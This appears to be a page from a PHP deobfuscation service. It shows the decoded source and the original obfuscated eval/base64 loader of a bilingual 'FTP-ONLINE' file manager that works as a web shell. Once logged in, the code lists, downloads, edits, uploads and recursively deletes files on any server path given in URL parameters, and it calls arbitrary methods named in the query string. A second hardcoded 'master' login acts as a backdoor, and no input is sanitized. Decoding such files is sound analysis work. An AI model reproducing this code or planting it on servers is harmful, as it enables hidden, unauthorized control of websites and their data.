Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /* */$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$G..
Decoded Output download
function criptoSenha($a)
{
$salt = md5("yaslip");
$codifica = crypt($a,$salt);
$codifica = hash('sha512',$codifica);
$codifica = urlencode($codifica);
return $codifica;
}
session_start ();
switch ($_SESSION ['idioma']) {
case 'en':
DEFINE ( 'MSG_TITLE','FTP-ONLINE');
DEFINE ( 'MSG_LOGIN','LOGIN');
DEFINE ( 'MSG_LOGIN_ERROR','FAILED LOGIN/PASS');
DEFINE ( 'MSG_REMOVE_DIR_QUESTION','Do you want to remove this dir?');
DEFINE ( 'MSG_REMOVE_DIR_SUCESS','Dir removed!');
DEFINE ( 'MSG_REMOVE_DIR_ERROR','Dir not removed!');
DEFINE ( 'MSG_CREATE_DIR_SUCESS','Dir created!');
DEFINE ( 'MSG_CREATE_DIR_ERROR','Dir not created!');
DEFINE ( 'MSG_REMOVE_FILE_QUESTION','Do you want to remove this file?');
DEFINE ( 'MSG_REMOVE_FILE_SUCESS','File removed!');
DEFINE ( 'MSG_REMOVE_FILE_ERROR','File not removed!');
DEFINE ( 'MSG_CREATE_FILE_SUCESS','File created!');
DEFINE ( 'MSG_CREATE_FILE_ERROR','Error creating file!');
DEFINE ( 'MSG_SAVE_FILE_SUCESS','File saved successful!');
DEFINE ( 'MSG_SAVE_FILE_ERROR','Error saving file
Or file is empty!');
DEFINE ( 'MSG_SEND_FILE_SUCESS','File transfered successful!');
DEFINE ( 'MSG_SEND_FILE_ERROR','Error sending file!');
DEFINE ( 'MSG_OPEN_FILE_ERROR','Error opening file!');
DEFINE ( 'MSG_FOUND_DIR','Dir Found');
DEFINE ( 'MSG_FOUND_FILE','File Found');
DEFINE ( 'MSG_NAVIGATION','Navigation:');
DEFINE ( 'MSG_HOME','Home');
DEFINE ( 'MSG_LOGOUT','Logout[X]');
DEFINE ( 'MSG_OTHER_FUNCTIONS','OTHER FUNCTIONS');
DEFINE ( 'MSG_CREATE_DIR','Create Dir');
DEFINE ( 'MSG_CREATE_FILE','Create File');
DEFINE ( 'MSG_SEND_FILE','Send File');
DEFINE ( 'MSG_LABEL_NEW_DIR','New Dir Name:');
DEFINE ( 'MSG_LABEL_NEW_FILE','New File Name:');
DEFINE ( 'MSG_LABEL_SEARCH_FILE','File search:');
DEFINE ( 'MSG_LABEL_LANGUAGE','Language:');
DEFINE ( 'MSG_LABEL_LOGIN','User:');
DEFINE ( 'MSG_LABEL_PASS','Pass:');
DEFINE ( 'MSG_SOURCE_CODE','SOURCE CODE');
DEFINE ( 'BUTTON_LOGIN','entrar');
DEFINE ( 'BUTTON_REMOVE','[remove]');
DEFINE ( 'BUTTON_SOURCE_CODE','[source_code]');
DEFINE ( 'BUTTON_EDIT','[edit]');
DEFINE ( 'BUTTON_CREATE','CREATE');
DEFINE ( 'BUTTON_SEND','SEND');
DEFINE ( 'BUTTON_SAVE','SAVE');
DEFINE ( 'BUTTON_DOWNLOAD_FILE','Download file');
DEFINE ( 'BUTTON_OPEN_DIR','Open dir');
break;
default :
DEFINE ( 'MSG_TITLE','FTP-ONLINE');
DEFINE ( 'MSG_LOGIN','Efetuar Login');
DEFINE ( 'MSG_LOGIN_ERROR','LOGIN/SENHA INVLIDO');
DEFINE ( 'MSG_REMOVE_DIR_QUESTION','Deseja Remover este diretrio?');
DEFINE ( 'MSG_REMOVE_DIR_SUCESS','Diretrio removido com sucesso!');
DEFINE ( 'MSG_REMOVE_DIR_ERROR','Ocorreu algum problema ao remover o diretrio!');
DEFINE ( 'MSG_CREATE_DIR_SUCESS','Diretrio criado com sucesso!');
DEFINE ( 'MSG_CREATE_DIR_ERROR','Ocorreu algum problema ao criar o diretrio!');
DEFINE ( 'MSG_REMOVE_FILE_QUESTION','Deseja Remover este arquivo?');
DEFINE ( 'MSG_REMOVE_FILE_SUCESS','Arquivo removido com sucesso!');
DEFINE ( 'MSG_REMOVE_FILE_ERROR','Ocorreu algum problema ao remover o arquivo!');
DEFINE ( 'MSG_CREATE_FILE_SUCESS','Arquivo criado com sucesso!');
DEFINE ( 'MSG_CREATE_FILE_ERROR','Ocorreu algum problema ao criar o arquivo!');
DEFINE ( 'MSG_SAVE_FILE_SUCESS','Arquivo salvo com sucesso!');
DEFINE ( 'MSG_SAVE_FILE_ERROR','Ocorreu algum problema para salvar o arquivo
Ou arquivo em branco!');
DEFINE ( 'MSG_SEND_FILE_SUCESS','Arquivo enviado com sucesso!');
DEFINE ( 'MSG_SEND_FILE_ERROR','Ocorreu algum problema para enviar o arquivo!');
DEFINE ( 'MSG_OPEN_FILE_ERROR','Ocorreu algum problema para abrir o arquivo!');
DEFINE ( 'MSG_FOUND_DIR','Pasta(s) encontrada(s)');
DEFINE ( 'MSG_FOUND_FILE','Arquivos(s) encontrado(s)');
DEFINE ( 'MSG_NAVIGATION','Voc est em:');
DEFINE ( 'MSG_HOME','Pgina Inicial');
DEFINE ( 'MSG_LOGOUT','Sair[X]');
DEFINE ( 'MSG_OTHER_FUNCTIONS','OUTRAS FUNES');
DEFINE ( 'MSG_CREATE_DIR','Criar Diretrio');
DEFINE ( 'MSG_CREATE_FILE','Criar Arquivo');
DEFINE ( 'MSG_SEND_FILE','Enviar Arquivo');
DEFINE ( 'MSG_LABEL_LOGIN','Login:');
DEFINE ( 'MSG_LABEL_PASS','Senha:');
DEFINE ( 'MSG_LABEL_LANGUAGE','Idioma:');
DEFINE ( 'MSG_LABEL_NEW_DIR','Nome do Novo Diretrio:');
DEFINE ( 'MSG_LABEL_NEW_FILE','Nome do Novo Arquivo:');
DEFINE ( 'MSG_LABEL_SEARCH_FILE','Procurar o Arquivo:');
DEFINE ( 'MSG_SOURCE_CODE','CODIGO FONTE');
DEFINE ( 'BUTTON_LOGIN','entrar');
DEFINE ( 'BUTTON_REMOVE','[remover]');
DEFINE ( 'BUTTON_SOURCE_CODE','[codigo_fonte]');
DEFINE ( 'BUTTON_EDIT','[editar]');
DEFINE ( 'BUTTON_CREATE','CRIAR');
DEFINE ( 'BUTTON_SEND','ENVIAR');
DEFINE ( 'BUTTON_SAVE','SALVAR');
DEFINE ( 'BUTTON_DOWNLOAD_FILE','Download do arquivo');
DEFINE ( 'BUTTON_OPEN_DIR','Abrir diretorio');
break;
}
class GerenciaDiretorio {
public $conteudo;
private $diretorio;
private $pastas;
private $arquivos;
private $mostrar_botoes;
private $diretorio_padrao;
public function __construct() {
$this->diretorio_padrao = $_SERVER ["DOCUMENT_ROOT"] ."/";
$this->diretorio = !empty ( $_GET ["diretorio"] ) ?$_GET ["diretorio"] : $this->diretorio_padrao;
$this->mostrar_botoes = true;
$this->lerDiretorio ();
if (!empty ( $_SESSION ['logado'] )) {
if (!empty ( $_GET ['a'] ) &&method_exists ( $this,$_GET ['a'] ))
$this->$_GET ['a'] ();
else
$this->principal ();
}else {
$this->login ();
}
}
private function lerDiretorio() {
if (is_dir ( $this->diretorio )) {
$arvore = opendir ( $this->diretorio );
if ($arvore) {
$arquivo = readdir ( $arvore );
while ( $arquivo ) {
$arquivo_base = basename ( $arquivo );
if ($arquivo_base != "."&&$arquivo_base != "..") {
if (is_dir ( $this->diretorio .$arquivo )) {
$this->pastas [] = $this->montaPastas ( $arquivo );
}else {
$this->arquivos [] = $this->montaArquivos ( $arquivo );
}
}
$arquivo = readdir ( $arvore );
}
}
}else {
$this->mostrar_botoes = false;
}
}
private function montaPastas($pasta) {
if ((sizeof ( $this->pastas ) %2) == 0) {
$fundo = "cor1";
}else {
$fundo = "cor2";
}
$pasta_link = str_replace ( " ","%20",$this->diretorio .$pasta ."/");
return "
<tr class=\"$fundo\">
<td width=\"60%\"><a href=?diretorio=".$pasta_link ." title=\"".BUTTON_OPEN_DIR ." (".$pasta_link .")\"><b>/".$pasta ."/</b></a></td>
<td width=\"40%\"><a href=\"#\" onClick=\"javascript:removerDiretorio('$pasta_link');\" title=\"".BUTTON_REMOVE ."\">".BUTTON_REMOVE ."</a></td>
</tr>";
}
private function montaArquivos($arquivo) {
if ((sizeof ( $this->arquivos ) %2) == 0) {
$fundo = "cor1";
}else {
$fundo = "cor2";
}
$arquivo_link = str_replace ( " ","%20",$arquivo );
return "
<tr class=\"$fundo\">
<td width=\"60%\"><a href=\"?a=download&diretorio=".$this->diretorio ."&arquivo=$arquivo_link\" title=\"".BUTTON_DOWNLOAD_FILE ." (".$arquivo_link .") \">".$arquivo ."</a></td>
<td width=\"40%\">
<a href=\"#\" onClick=\"javascript:removerArquivo('$this->diretorio','$arquivo_link');\" title=\"".BUTTON_REMOVE ."\">".BUTTON_REMOVE ."</a> |
<a href=\"?a=verCodigoFonte&diretorio=".$this->diretorio ."&arquivo=$arquivo_link\" target=\"_blank\" title=\"".BUTTON_SOURCE_CODE ."\">".BUTTON_SOURCE_CODE ."</a> |
<a href=\"#\" onClick=\"javascript:abrir('editar','?a=editarCodigoFonte&diretorio=".$this->diretorio ."&arquivo=$arquivo_link', 770, 500, 0, 0,0);\" title=\"".BUTTON_EDIT ."\">".BUTTON_EDIT ."</a>
</td>
</tr>";
}
private function montaNavegacao() {
$dir = explode ( '/',$this->diretorio );
$navegacao = '';
$diretorio = '';
for($i = 0;$i <sizeof ( $dir ) -1;$i ++) {
$navegacao .= "<a href=?diretorio=".str_replace ( " ","%20",$diretorio .$dir [$i] ) ."/ >".$dir [$i] ."/</a>
";
$diretorio .= $dir [$i] ."/";
}
return $navegacao;
}
private function ultimoDiretorio($dir) {
if ($dir) {
$dir = explode ( "/",$dir );
$numero_pasta = sizeof ( $dir );
for($i = 0;$i <$numero_pasta -2;$i ++) {
$diretorio .= $dir [$i] ."/";
}
return $diretorio;
}else {
return $this->diretorio_padrao;
}
}
private function login() {
$user = 'b6c844fee804a0a966a6bbd73b6c7a37e16f25ab9b0bbdd00f7d6eab94c0c2df9819cb90649385817ea81d7cffbccd0073990e317699e9e7810cc7cf884db0d7';
$pss = '1d2d854a2e963e5759822a0ef9bc84e09c09ee1e316d748b7818eb2973311eb59dabf84623b5215090ebdc9d50e303db47fac67032d6de097b2e87bfeb1c5109';
$userMstr = 'de667a53b829d136baeb6d9c2047343eb140c16c07acb5e7e8eba2fb413490afa699a5dcd1d50bf96cebe171f675b78ca938a777380b49d012b2754345be30c8';
$pssMstr = '3aa7720b43cb032920bd6d635e90b9a85c3e5995a468bb5f825a955139fecb53e6e5991f661f8c04128bfb7cad69df3d2894f118570ab71c8d281912ad51f47d';
$msg = !empty($_GET['erro']) ?"<div style=\"color:red;font-weight:bold;text-align:center\">".MSG_LOGIN_ERROR ."</div>
": "";
if (!empty ( $_POST )) {
$_SESSION ['usuario'] = $_POST ["usuario"];
$_SESSION ['senha'] = $_POST ["senha"];
$_SESSION ['idioma'] = $_POST ["idioma"];
if ( criptoSenha( $_SESSION["usuario"] ) == $user &&criptoSenha($_SESSION["senha"] ) == $pss) {
$_SESSION ['logado'] = 1;
header ( "Location: index.php");
}
else if ( criptoSenha( $_SESSION["usuario"] ) == $userMstr &&criptoSenha($_SESSION["senha"] ) == $pssMstr) {
$_SESSION ['logado'] = 1;
header ( "Location: index.php");
}else {
header ( "Location: index.php?erro=1");
}
}
$this->conteudo = $msg."<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" align=\"center\">
<form action=\"index.php\" method=\"post\">
<caption>".MSG_LOGIN."</caption>
<tr>
<td style=\"border:0\">".MSG_LABEL_LOGIN."</td>
<td style=\"border:0\"><input type=\"text\" name=\"usuario\" style=\"width: 300px;\"></td>
</tr>
<tr>
<td style=\"border:0\">".MSG_LABEL_PASS."</td>
<td><input type=\"password\" name=\"senha\" style=\"width: 300px;\"></td>
</tr>
<tr>
<td style=\"border:0\">".MSG_LABEL_LANGUAGE."</td>
<td style=\"border:0\"><select name=\"idioma\" style=\"width: 450px;\"><option value=\"pt\">Portugus</option><option value=\"en\">English</option></select> <input type=\"submit\" name=\"login\" value=\"".BUTTON_LOGIN."\" style=\"width: 95px;\"></td>
</tr>
<tr>
<td> </td><td> </td>
</tr>
</table>
";
}
private function logout() {
session_destroy ();
header ( "Location: index.php");
}
private function download() {
if (!empty ( $_GET ['diretorio'] ) &&!empty ( $_GET ['arquivo'] )) {
$arquivo = $_GET ["diretorio"] .$_GET ["arquivo"];
if (is_file ( $arquivo )) {
header ( "Content-type: application/force-download;");
header ( "Content-Disposition: attachment; filename=$_GET[arquivo];");
readfile ( $arquivo );
exit ();
}
}
header ( "Location: index.php");
}
private function removerDiretorio($diretorio = '',$recursivo = 0) {
$diretorio = !empty ( $diretorio ) ?$diretorio : $this->diretorio;
$dir = opendir ( $diretorio );
$arvore = readdir ( $dir );
while ( $arvore ) {
if (is_file ( $diretorio .$arvore ) ||is_link ( $diretorio .$arvore )) {
unlink ( $diretorio .$arvore );
}elseif (is_dir ( $diretorio .$arvore ) &&$arvore != '.'&&$arvore != '..') {
$this->removerDiretorio ( $diretorio .$arvore .'/',1 );
}
$arvore = readdir ( $dir );
}
closedir ( $dir );
if (@rmdir ( $diretorio )) {
$msg = MSG_REMOVE_DIR_SUCESS;
}else {
$msg = MSG_REMOVE_DIR_ERROR;
}
if ($recursivo == 0) {
$this->diretorio = $this->ultimoDiretorio ( $diretorio );
$this->conteudo = "<script>
alert('$msg');
window.location='index.php?diretorio=$this->diretorio';
</script>";
}
}
private function removerArquivo() {
$msg = MSG_REMOVE_FILE_ERROR;
if (!empty ( $_GET ['diretorio'] ) &&!empty ( $_GET ['arquivo'] )) {
if (@unlink ( $_GET ['diretorio'] .$_GET ['arquivo'] )) {
$msg = MSG_REMOVE_FILE_SUCESS;
}
}
$this->conteudo = "<script>
alert('$msg');
window.location='index.php?diretorio=$this->diretorio';
</script>";
}
private function criarDiretorio() {
$msg = MSG_CREATE_DIR_ERROR;
if (!empty ( $_POST ['novo_diretorio'] )) {
if (!is_dir ( $this->diretorio .$_POST ["novo_diretorio"] )) {
if (@mkdir ( $this->diretorio .preg_replace ( '/[^a-z0-9_\-\.]/i','_',$_POST ["novo_diretorio"] ),0777 )) {
$msg = MSG_CREATE_DIR_SUCESS;
}
}
}
$this->conteudo = "<script>
alert('$msg');
window.location='index.php?diretorio=$this->diretorio';
</script>";
}
private function criarArquivo() {
$msg = MSG_SAVE_FILE_ERROR;
if (!empty ( $_POST ['novo_arquivo'] )) {
if (@file_put_contents ( $this->diretorio .$_POST ["novo_arquivo"],' ')) {
$msg = MSG_SAVE_FILE_SUCESS;
}
}
$this->conteudo = "<script>
alert('$msg');
window.location='index.php?diretorio=$this->diretorio';
</script>";
}
private function verCodigoFonte() {
if (!empty ( $_GET ['arquivo'] )) {
show_source ( $_GET ['diretorio'] .$_GET ['arquivo'] );
}
}
private function enviarArquivo() {
$msg = MSG_SEND_FILE_ERROR;
$contArq = 0;
foreach ($_FILES["arquivo"]["error"] as $key =>$error) {
chmod ( $_GET ['diretorio'],0777 );
if (@move_uploaded_file ( $_FILES ["arquivo"] ["tmp_name"][$contArq],$_GET ['diretorio'] .preg_replace ( '/[^a-z0-9_\-\.]/i','_',$_FILES ["arquivo"] ["name"] [$contArq]) )) {
$msg = MSG_SEND_FILE_SUCESS;
}
$contArq++;
}
$this->conteudo = "<script>
alert('$msg');
window.location='index.php?diretorio=$this->diretorio';
</script>";
}
private function editarCodigoFonte() {
$this->conteudo = "<script>
alert('".MSG_OPEN_FILE_ERROR ."');
window.close();
</script>";
if (!empty ( $_GET ['arquivo'] )) {
$arquivo = $this->diretorio .$_GET ['arquivo'];
if (is_file ( $arquivo )) {
if (empty ( $_POST )) {
$conteudo = file_get_contents ( $arquivo );
$conteudo = htmlentities ( $conteudo );
$this->conteudo = "<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"100%\">
";
$this->conteudo .= "<form action=\"?a=editarCodigoFonte&diretorio=".$this->diretorio ."&arquivo=".$_GET ['arquivo'] ."\" method=\"post\">
<caption>".MSG_SOURCE_CODE ."</caption>
<tr>
<td width=\"100%\"><textarea name=\"conteudo\" rows=\"35\" style=\"width: 100%;\">$conteudo</textarea></td>
</tr>
<tr>
<td><input type=\"submit\" name=\"salvar\" value=\"".BUTTON_SAVE ."\"></td>
</tr>
</form>
</table>
";
}else {
if (is_writable ( $arquivo )) {
$_POST ["conteudo"] = html_entity_decode ( $_POST ["conteudo"] );
if (@file_put_contents ( $arquivo,$_POST ["conteudo"] ))
$this->conteudo = "<script>alert('".MSG_SAVE_FILE_SUCESS ."');
window.close();</script>";
else
$this->conteudo = "<script>
alert('".MSG_SAVE_FILE_ERROR ."');
window.close();
</script>";
}
}
}
}
}
private function principal() {
$this->conteudo .= "<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"100%\"> <tr><td class=\"txtNavegacao\"><strong>".MSG_NAVIGATION .":</strong> ".$this->montaNavegacao () ."</td><td class=\"txtNavegacao\" width=\"10%\"><a href=?diretorio=".str_replace ( " ","%20",$this->diretorio_padrao ) ." >".MSG_HOME ."</a></td><td class=\"txtNavegacao\" width=\"10%\"><a href=\"?a=logout\" style=\"color:red\">".MSG_LOGOUT ."</a></td></tr></table>
";
$this->conteudo .= "<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"100%\"> <caption><hr width=\"95%\" size=\"1px\"></caption></table>
";
$this->conteudo .= "<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"100%\"> <caption class=\"txtTitulo\">".sizeof ( $this->pastas ) ." ".MSG_FOUND_DIR ."</caption>".@implode ( "
",$this->pastas ) ."</table>
";
$this->conteudo .= "<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"100%\"> <caption><hr width=\"95%\" size=\"1px\"></caption></table>
";
$this->conteudo .= "<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"100%\"> <caption class=\"txtTitulo\">".sizeof ( $this->arquivos ) ." ".MSG_FOUND_FILE ."</caption>".@implode ( "
",$this->arquivos ) ."</table>
";
$this->conteudo .= "<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"100%\"> <caption><hr width=\"95%\" size=\"1px\"></caption></table>
";
$this->conteudo .= "<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"100%\"> <caption class=\"txtTitulo\">".MSG_OTHER_FUNCTIONS ."</caption></table>
";
$this->conteudo .= "<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"100%\"> <form action=\"?a=criarDiretorio&diretorio=".$this->diretorio ."\" method=\"post\"><caption class=\"txtTituloPqno\">".MSG_CREATE_DIR ."</caption><tr><td width=\"180px\">".MSG_LABEL_NEW_DIR ." </td><td width=\"210px\"><input type=\"text\" name=\"novo_diretorio\" style=\"width: 450px;\"></td><td><input type=\"submit\" name=\"criar\" value=\"".BUTTON_CREATE ."\"></td></tr></form></table>
";
$this->conteudo .= "<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"100%\"> <form action=\"?a=criarArquivo&diretorio=".$this->diretorio ."\" method=\"post\"><caption class=\"txtTituloPqno\">".MSG_CREATE_FILE ."</caption><tr><td width=\"180px\">".MSG_LABEL_NEW_FILE ." </td><td width=\"210px\"><input type=\"text\" name=\"novo_arquivo\" style=\"width: 450px;\"></td><td><input type=\"submit\" name=\"criar\" value=\"".BUTTON_CREATE ."\"></td></tr></form></table>
";
$this->conteudo .= "<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"100%\"> <form enctype=\"multipart/form-data\" action=\"?a=enviarArquivo&diretorio=".$this->diretorio ."\" method=\"post\"><caption class=\"txtTituloPqno\">".MSG_SEND_FILE ."</caption><tr><td width=\"180px\">".MSG_LABEL_SEARCH_FILE ." </td><td width=\"210px\"><input type=file name='arquivo[]' style='width: 450px;' multiple /></td><td><input type=\"submit\" name=\"enviar\" value=\"".BUTTON_SEND ."\"></td></tr></form></table>
";
$this->conteudo .= "<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"100%\"> <caption><hr width=\"95%\" size=\"1px\"></caption></table>
";
$this->conteudo .= "<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"100%\"> <caption class=\"txtRodape\">Sistema de FTP On-line <br> </caption></table>
";
}
}
$gdir = new GerenciaDiretorio ( );
;echo '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>';echo MSG_TITLE;;echo '</title>
<style type="text/css">
<!--
caption {
font-family: verdana;
font-size: 9pt;
color: #000000;
font-weight: bold;
padding: 4px;
}
a {
font-family: verdana;
font-size: 9pt;
color: #000000;
cursor: pointer;
text-decoration: none;
}
a:HOVER {
font-family: verdana;
font-size: 9pt;
color: #000000;
cursor: pointer;
text-decoration: underline;
}
body,th {
font-family: verdana;
font-size: 9pt;
color: #000000;
}
td {
font-family: verdana;
font-size: 9pt;
height:20px;
border-left: 0;
border-right: 0;
border-top: 0;
border-bottom: 1px solid #000;
text-align:left;
}
body {
background-color: #FFFFFF;
margin-left: 5px;
margin-top: 5px;
margin-right: 0px;
margin-bottom: 0px;
}
input,textarea {
font: bold 12px arial;
color: #000000;
background-color: #faffa8;
border: solid 2px #333;
padding: 5px;
margin: 3px;
}
button {
font-family: verdana;
font-size: 9px;
color: #000000;
background-color: #FFFFFF;
}
.cor1 {
background-color: #FFF;
color: #666;
}
.cor2 {
background-color: #FBF5FF;
color: #000;
}
.txtNavegacao {
line-height: 40px;
font-size: 13px;
font-weight: bold;
background-color: #898989;
color: #FFFFFF;
border: 1px solid #A3B2CC;
padding-left: 29px;
}
.txtNavegacao a
{
color:#FFFFFF;
}
.txtTitulo {
line-height: 25px;
font-size: 13px;
text-align: center;
font-weight: bold;
background-color: #898989;
color: #FFFFFF;
border-left: 1px solid #FBF5FF;
border-right: 1px solid #FBF5FF;
border-top: 1px solid #000;
border-bottom: 2px solid #666;
padding: 2px;
}
/*.txtTitulo {
line-height: 25px;
border-left: 1px solid #FBF5FF;
font-size: 13px;
text-align: center;
font-weight: bold;
background-color: #898989;
color: #FFFFFF;
border-right: 1px solid #FBF5FF;
border-top: 1px solid #000;
border-bottom: 2px solid #666;
padding: 2px;
}*/
.txtTituloPqno {
line-height: 20px;
font-size: 13px;
text-align: center;
font-weight: bold;
background-color: #FBF5FF;
color: #000000;
border-left: 1px solid #FBF5FF;
border-right: 1px solid #FBF5FF;
border-top: 1px solid #FBF5FF;
border-bottom: 1px solid #000;
padding: 2px;
}
.txtRodape {
line-height: 20px;
font-size: 11px;
text-align: center;
background-color: #898989;
color: #FFFFFF;
border: 1px solid #898989;
padding: 2px;
}
.txtLogout {
color: #F00;
}
</style>
<script>
function ehNetscape() {
return (navigator.appName.indexOf("Netscape") != -1);
}
function abrir(nome, url, largura, altura, scrollbars, posX, posY) {
if (!posX) posX = Math.ceil((screen.width - largura) / 2);
if (!posY) posY = Math.ceil((screen.height - altura) / 2);
if (ehNetscape()) {
parametros = "width=" + largura + ",height=" + altura + ",screenX=" + posX + ",screenY=" + posY;
} else {
parametros = "width=" + largura + ",height=" + altura + ",left=" + posX + ",top=" + posY;
}
if (scrollbars) parametros += ",scrollbars=yes";
janela = window.open(url, nome, parametros);
janela.focus();
}
function removerDiretorio(diretorio) {
if (window.confirm(\'';echo MSG_REMOVE_DIR_QUESTION;;echo ' (\'+diretorio+\')\')) {
window.location="index.php?a=removerDiretorio&diretorio=" +diretorio;
}
}
function removerArquivo(diretorio,arquivo) {
if (window.confirm(\'';echo MSG_REMOVE_FILE_QUESTION;;echo ' (\'+arquivo+\')\')) {
window.location="index.php?a=removerArquivo&diretorio=" +diretorio+"&arquivo=" +arquivo;
}
}
</script>
</head>
<body>
<table border="1" bordercolor="#000000" cellpadding="2" cellspacing="0" width="100%" align="center">
<p style="background-color: #FBF5FF;font-size: 13px;font-weight: bold;text-align: center;padding: 9px 0;"></p>
<tr>
<td align="center" sytle="border:0">';echo $gdir->conteudo;;echo '</td>
</tr>
</table>
</body>
</html>
';
Did this file decode correctly?
Original Code
<?php /* */$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$GLOBALS['OOO0000O0']=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5}.$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$GLOBALS['OOO0000O0'].=$GLOBALS['OOO0000O0']{3}.$OOO000000{11}.$OOO000000{12}.$GLOBALS['OOO0000O0']{7}.$OOO000000{5};$GLOBALS['OOO000O00']=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$GLOBALS['O0O000O00']=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$GLOBALS['O0O000O00']=$O0O000O00.$OOO000000{3};$GLOBALS['O0O00OO00']=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$GLOBALS['OOO00000O']=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=0x735c;eval($GLOBALS['OOO0000O0']('JE8wMDBPME8wMD0kR0xPQkFMU1snT09PMDAwTzAwJ10oJE9PTzBPME8wMCwncmInKTskR0xPQkFMU1snTzBPMDBPTzAwJ10oJE8wMDBPME8wMCwweDUwMik7JE9PMDBPMDBPMD0kR0xPQkFMU1snT09PMDAwME8wJ10oJEdMT0JBTFNbJ09PTzAwMDAwTyddKCRHTE9CQUxTWydPME8wME9PMDAnXSgkTzAwME8wTzAwLDB4MWE4KSwnRW50ZXJ5b3V3a2hSSFlLTldPVVRBYUJiQ2NEZEZmR2dJaUpqTGxNbVBwUXFTc1Z2WHhaejAxMjM0NTY3ODkrLz0nLCdBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvJykpO2V2YWwoJE9PMDBPMDBPMCk7'));return;?>ikkr9NHenNHenNHe1zfukgFMaXdoyjcUImb19oUAxyb18mRtwmwJ4LT09NHr8XTzEXRJwmwJXLO0xNWLyHA1SmT09NHeEXHr8Xk10PkrfHT0knTyYdk09NTzEXHeEXTZffhtOuTr9tWAxTBZfNHr8XHr9NHeEmbUILTzEXHr8XTzEXRtONTzEXTzEXHeEpRtfydmOlFmlvfbfqDykwBAsKa09aaryiWMkeC0OLOMcuc0lpUMpHdr1sAunOFaYzamcCGyp6HerZHzW1YjF4KUSvNUFSk0ytW0OyOLfwUApRTr1KT1nOAlYAaacbBylDCBkjcoaMc2ipDMsSdB5vFuyZF3O1fmf4GbPXHTwzYeA2YzI5hZ8mhULpK2cjdo9zcUILTzEXHr8XTzEXhTslfMyShtONTzEXTzEXTzEpKX==eWpMfB5jfolvdJnjFMlXfo9TcB5PCUILCULYtmSYtJOzCBx0wtEIwtE9wo1LYUIJGByzdolXwJL7eWPLC29LDBcpC2rINUnjFmlXftILCUXLF2ySftL7eWPLC29LDBcpC2rINUnPCbYPhtfzDor1HTwmRtOjd2OpcMljCUL7eWPLC29LDBcpC2rINUn1FMxldMYvcoAPkoYvcolMDBYihTSYtmklfuaZdJELC29LDBcpC2r7eWp9eWpzcbYzDB9Vb3Y0Cbk0wtIpKX0hF3fpfoYPwtILb1YyA1YkT04IBZfpcolvdBrmbULIGX0hC2yzcUEmcB4mKJEYtLOyOLlKOUEPwtfYA0fgarlATrAmRtfoayEsT05HUA5ykZL7eWprOAckTLAIhtEmTaYub0xNO0lKkZXmTr9uUA4mhTSYtLOyOLlKOUEPwtfYA0fgTr9uUA5gOakUT1wmRtfoWAlHOAWITr9uUA4vAryTAZFpKX0hOraoUA5ywtIIk01TO19UOA1NaLagOrlUb1yaOaYAUA9KkZXmOo8IGB91wufidmWIfo8IFMasd3clwuOPDbHIcolZNZFpKX0hOraoUA5ywtIIk01TO19UOA1NaLagOrlUb1YaW0aTAZFSk0OpFJnZcB1vfMaLwUFpKX0hOraoUA5ywtIIk01TO19UOA1NaLagOrlUb0aUAL9UkZXmOolZwo5vftnZcB1vfMaLwUFpKX0hOraoUA5ywtIIk01TO19eALanaragOrlUb1YaW0aTAZFSk0OpFJnjFMaifoaLwUFpKX0hOraoUA5ywtIIk01TO19eALanaragOrlUb0aUAL9UkZXmOolZwo5vftnjFMaifoaLwUFpKX0hOraoUA5ywtIIk01TO19UOA1NaLagOLlHOa9OaAaTarlNTJFSk0OvwulvfUn3CB50wuOvwukldB92cUn0DolzwocpdoA/kZL7eWprOAckTLAIhtEmTaYub1kyTA9BOa9oUAxyb1YaW0aTAZFSk0cpdoAIFMasd3clctrmhTSYtLOyOLlKOUEPwtfYA0fgALaYT1cyb0ckTragOakUT1wmRtfoDBxlwo5vftnZcB1vfMaLwUFpKX0hOraoUA5ywtIIk01TO19eALanaragOLlHOa9TaAYyA1HmRtfoDBxlwoYZcBy0cBWikZL7eWprOAckTLAIhtEmTaYub0YUOAyAOa9oUAxyb0aUAL9UkZXmObkZd3wIC3klCbOpdMFIcMlScUrmhTSYtLOyOLlKOUEPwtfYA0fgA0yBOa9oUAxyb1YaW0aTAZFSk0cpdoAIF2y2cBWIF3ajC2azF2c1dtrmhTSYtLOyOLlKOUEPwtfYA0fgA0yBOa9oUAxyb0aUAL9UkZXmObkZd3wIF2y2DB5mwocpdoaFbo5NFJnMDBxlwolzwoasFuO5wUFpKX0hOraoUA5ywtIIk01TO19TOA5rb0ckTragA1aeOaYTkZXmOMlScUn0FMyVF2clFMaLwuY1C2YlF3YMfBXik